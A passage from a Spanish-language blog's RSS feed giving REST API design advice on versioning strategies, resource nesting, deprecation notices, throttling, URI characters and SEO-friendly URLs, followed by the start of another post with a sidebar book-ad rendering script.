API?&lt;/h3&gt;&#xA;&lt;p&gt;Generalmente querras versionar tu API. Sin embargo, si tu API es sumamente simple y su estructura es extremadamente estable, o funciona de manera que los cambios se agregan como nuevos endpoints, sin modificar los anteriores, podrías dejarla sin versionar. Si tienes dudas sobre si tu API encaja en loanterior, probablemente deberías versionarla.&lt;/p&gt;&#xA;&lt;h3 id=&#34;donde-versionar-el-api&#34;&gt;¿Dónde versionar el API?&lt;/h3&gt;&#xA;&lt;p&gt;Para que una API se apegue a los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;requisitos de la arquitectura REST&lt;/a&gt;&#xA; debe cumplir con ciertas características, pero algunas compañias deciden obviar estos requisitos para sus APIs y, aún así, denominarlas REST.&lt;/p&gt;&#xA;&lt;p&gt;Aquí te dejo algunas opciones para versionar tus APIs usadas por grandes compañias, sin importar si cumplen con REST o no.&lt;/p&gt;&#xA;&lt;h3 id=&#34;a-nivel-url&#34;&gt;A nivel url&lt;/h3&gt;&#xA;&lt;p&gt;Probablemente la opción más popular de todas.&lt;/p&gt;&#xA;&lt;p&gt;Increíblemente simple de entender e implementar pero le ocasionará problemas con clientes que guardan las URLs en base de datos, pues con cada cambio habrá que actualizarlas. Además cuesta trabajo separarlos en diferentes servidores. Técnicamente, &lt;strong&gt;colocar la versión en la url no es REST&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ejemplos de compañias: Twitter, dropbox, youtube, etsy.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://dominio.com/api/v1/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;a-nivel-dominio&#34;&gt;A nivel dominio&lt;/h3&gt;&#xA;&lt;p&gt;Bastante simple de entender e implementar pero traerá problemas a aquellos clientes que guardan las urls en base de datos. Nuevamente, técnicamente, &lt;strong&gt;colocar la versión en el dominio no es REST&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ejemplos de compañias: Twitter, dropbox, youtube, etsy.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://apiv1.dominio.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;por-medio-de-parametros-en-la-url-o-en-el-body&#34;&gt;Por medio de parámetros en la url o en el body&lt;/h3&gt;&#xA;&lt;p&gt;Mantiene la misma url, solo cambian los parámetros. Trae problemas con clientes que guardan las urls y sus parámetros en la base de datos. Técnicamente &lt;strong&gt;usar parámetros para el versionado de la API no es REST&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ejemplos de compañias: Google data, Paypal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://apiv1.dominio.com/recurso?version&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el body de la petición HTTP luciría así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /places HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: api.example.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;por-medio-de-cabeceras-http&#34;&gt;Por medio de cabeceras HTTP&lt;/h3&gt;&#xA;&lt;p&gt;Conserva las mismas urls pero puede confundir a los sistemas de caché.&lt;/p&gt;&#xA;&lt;p&gt;Ejemplo de compañias: Azure.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /recursos HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: example.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ApiVersion: 1.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Vary: ApiVersion&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Considera que necesitas añadir una cabecera vary para que los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/&#34;&gt;sistemas de caché&lt;/a&gt;&#xA; no guardan diferentes versiones de la API en una misma url.&lt;/p&gt;&#xA;&lt;h3 id=&#34;en-el-content-negotiation&#34;&gt;En el content negotiation&lt;/h3&gt;&#xA;&lt;p&gt;¿Recuerdas ese mecanismo definido en el protocolo HTTP que te permite obtener diferentes versiones de un recurso? Pues además de aplicar para formatos puede ser usado para especificar versiones.&lt;/p&gt;&#xA;&lt;p&gt;Mantiene las msimas urls, puede confundir a los desarrolladores que no entienden de headers.&lt;/p&gt;&#xA;&lt;p&gt;Ejemplos de compañias: Github, Adidas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application/vnd.github&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;.version&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;.param&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;+json&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En REST una cosa son los recursos y otra su representación, los recursos, además del formato, tienen otra forma de representación, la cual es la versión de la API, por lo que esta manera sí cumple con REST. Aunque su uso puede ser un poco más confuso para las personas no familiarizadas con el protocolo HTTP.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-tanto-anidar-los-recursos-de-una-api&#34;&gt;¿Qué tanto anidar los recursos de una API?&lt;/h2&gt;&#xA;&lt;p&gt;Cuando tenemos relaciones entre nuestros recursos, es bueno para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mi-guia-de-seo-tecnico-basico-solo-para-desarrolladores-web/&#34;&gt;el SEO de nuestro sitio web estructurar el sitio jerarquicamente&lt;/a&gt;&#xA;, al hacerlo es bastante tentador sobreextender esas jerarquias, complicando el uso de la API.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /recurso/&amp;lt;id&amp;gt;/subrecurso/&amp;lt;id&amp;gt;/subsubrecurso/&amp;lt;id&amp;gt;/subsubsubrecurso ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/clientes/99/pedidos/88/productos/77/variantes ❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La documentación de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rest-framework.org/api-guide/relations/#example_2&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DRF sugiere una estructura plana&lt;/a&gt;&#xA; a la hora de diseñar APIs.&lt;/p&gt;&#xA;&lt;p&gt;La guia de estándares de APIs de la casa blanca también aboga por anidaciones muy cortas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;recurso/&amp;lt;id&amp;gt;/recurso&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.microsoft.com/en-us/azure/architecture/best-practices/api-design&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Microsoft también recomienda mantener las URIs lo más simples posibles.&lt;/a&gt;&#xA; ¿Pero como me refiero a los recursos más profundas de la URL? Pues puedes crear una endpoint con uno o dos niveles de anidación y acceder directamente a ellos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /subrecurso/&amp;lt;id&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;y-como-lidiar-con-recursos-relacionados&#34;&gt;¿Y cómo lidiar con recursos relacionados?&lt;/h3&gt;&#xA;&lt;p&gt;Las URLs muy largas, con múltiples jerarquias anterior pueden acortarse accediendo directamente usando la referencia directa al recurso.&lt;/p&gt;&#xA;&lt;p&gt;En lugar de tener un endpoint que requiera toda la jerarquia en la URI. Como en este ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tienda/99/clientes/99/pedidos/88/productos/77&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reduce la longitud del endpoint al mínimo, el identificador debe de bastar para acceder al recurso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /subrecurso/&amp;lt;id&amp;gt;/subsubrecurso/&amp;lt;id&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/pedidos/88/productos/77&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aprecia como incluso en la ausencia de la parte inicial de la URI anterior, podemos acceder al recurso y además es perfectamente legible.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notificar-sobre-actualizaciones-de-las-api&#34;&gt;Notificar sobre actualizaciones de las API&lt;/h2&gt;&#xA;&lt;p&gt;A veces es necesario introducir cambios estructurales en las APIs, para prevenir que todos aquellos que la consuman presenten problemas, necesitamos notificarles. Pero&amp;hellip; ¿cómo?&lt;/p&gt;&#xA;&lt;p&gt;En el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/&#34;&gt;libro Two Scoops of Django&lt;/a&gt;&#xA;, los autores recomiendan los siguientes pasos para notificar un cambio de versión de API.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Notificar a los usuarios con tanta anticipación como se pueda por medio de email, blogs o cualquier medio, casi hasta el punto del hartazgo.&lt;/li&gt;&#xA;&lt;li&gt;Reemplazar la respuesta de la API obsoleta con una error HTTP 410 que devuelva un mensaje que contenga enlaces hacia: el nuevo endpoint, a la nueva documentación de la API y, sí existe, al texto que explique el porque de los cambios.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;limitar-tu-api-con-una-politica-de-throttling&#34;&gt;Limitar tu API con una política de Throttling&lt;/h2&gt;&#xA;&lt;p&gt;Deberías limitar tu API. Los usuarios no deberían tener acceso sin restricciones y peticiones ilimitadas a tu API. Hay usuarios que pueden abusar de tu API, mantener tu servidor ocupado, impidiéndo que el resto de los usuarios puedan usarla e incrementando tus costos.&lt;/p&gt;&#xA;&lt;p&gt;Una manera de solucionarlo es establecer una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/throttling-en-nginx/&#34;&gt;política de throttling&lt;/a&gt;&#xA; en tu servidor para cualquier usuario.&lt;/p&gt;&#xA;&lt;p&gt;También puedes volverlo el centro de tu negocio y ofrecer planes de pago de acuerdo al número de peticiones por minuto a tu API.&lt;/p&gt;&#xA;&lt;h2 id=&#34;caracteres-especiales-en-la-uri&#34;&gt;Caracteres especiales en la URI&lt;/h2&gt;&#xA;&lt;p&gt;Usa solo caracteres válidos en tu URI.&lt;/p&gt;&#xA;&lt;p&gt;De acuerdo a la especificación &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://datatracker.ietf.org/doc/html/rfc3986#section-3&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;RFC 3986&lt;/a&gt;&#xA;, los únicos caracteres válidos, es decir, que no necesitan codificarse, en una URI, son las letras del alfabeto básico latinos, dígitos y algunos caracteres especiales (siempre y cuando se usen para su propósito).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Caracteres seguros [0-9a-zA-Z]: no necesitan codificarse&lt;/li&gt;&#xA;&lt;li&gt;Caracteres no reservados [- . _ ~]: no necesitan codificarse&lt;/li&gt;&#xA;&lt;li&gt;Caracteres reservados [: / ? # [] @ ! $ &amp;amp; &amp;rsquo; ( ) * + , ;] solo necesitan codificarse si no se usan para su propósito original (Por ejemp, una diagonal que no se use para separar rutas)&lt;/li&gt;&#xA;&lt;li&gt;Caracteres inseguros [&amp;lt; &amp;gt; % { } | \ ^ `]: necesitan codificarse&lt;/li&gt;&#xA;&lt;li&gt;El resto de caracteres necesitan codificarse.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Lo anterior está cambiando y se intenta agregar muchos más simbolos de diferentes lenguajes, puedes leer más al respecto en el artículo de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.w3.org/International/articles/idn-and-iri/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;idn e iri de la w3&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;considera-el-seo-en-tus-urls&#34;&gt;Considera el SEO en tus URLs&lt;/h2&gt;&#xA;&lt;p&gt;Los motores de búsqueda consideran la URL para posicionar una página web, si para tu sitio web es importante el posicionamiento en buscadores, no te conformes con usar identificadores, comunica al motor de búsqueda el tema en la URL. El SEO y las URLs son un tema bastante amplio para resumirse en unas lineas, pero esto debería darte una idea de como buscar más información.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/posts/el-title-de-mi-post ✅&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/posts/99-el-title-de-mi-post ✅&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/posts/99 ❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Espero que te haya servido la entrada, o que al menos te haya presentado material que no habías tomado en cuenta anteriormente al diseñar una API.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fuentes-de-referencia&#34;&gt;Fuentes de referencia&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jsonapi.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Documentación de JSON:API&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.w3.org/International/articles/idn-and-iri/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;IRI and URI&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/WhiteHouse/api-standards&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Estándares API de la casa blanca&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.microsoft.com/en-us/azure/architecture/best-practices/api-design&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Mejores prácticas de diseño de APIs en Microsoft&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.amazon.com.mx/Build-APIs-You-Wont-Hate/dp/0692232699/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;amp;crid=2W0ZTSCO349YL&amp;amp;keywords=build&amp;#43;apis&amp;amp;qid=1648756000&amp;amp;sprefix=build&amp;#43;apis%2Caps%2C187&amp;amp;sr=8-1&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Sturgeon, P. (2015). &lt;em&gt;Build Api’s&lt;/em&gt;. Philip J. Sturgeon.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.amazon.com.mx/Rest-API-Design-Rulebook-Consistent/dp/1449310508&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Massé, M. (2012). REST API design rulebook. Sebastopol, CA: O&amp;rsquo;Reilly.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.feldroy.com/books/two-scoops-of-django-3-x&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Two scoops of Django&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿Cómo diseño una API REST? ¿Cuántos niveles debo anidar mis recursos relacionados? ¿URLs relativas o completas? Este post es una recopilación de ciertas recomendaciones sobre algunas buenas praćticas de diseño de APIs REST que he encontrado en libros y artículos de internet. Dejo las fuentes al final del artículo por si te interesa profundizar o ver de donde viene esta información.&lt;/p&gt;&#xA;&lt;p&gt;Antes de empezar, hay una serie de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;características básicas de una API REST&lt;/a&gt;&#xA;, las cuales expuse en una entrada pasada, revísalas si tienes dudas. En esta entrada te voy a hablar un poco de algunos aspectos más subjetivos relacionados con el diseño de APIs REST.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Características básicas de una API REST y recomendaciones</title>
      <link>https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/</link>
      <pubDate>Thu, 07 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Esta publicación es una guia muy corta de consejos prácticos sobre diseño de APIs REST, no profundizo demasiado en la teoría. Encima, puedo sobre simplificar muchos conceptos en aras de mantener el texto lo más corto y sencillo posible.&lt;/p&gt;&#xA;&lt;p&gt;En la siguiente entrada hablaré de algunas cuestiones más subjetivas como: ¿cómo devolver el JSON correctamente? ¿Cuánto anidar una API? ¿Qué maneras existen para versionar una API REST?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s 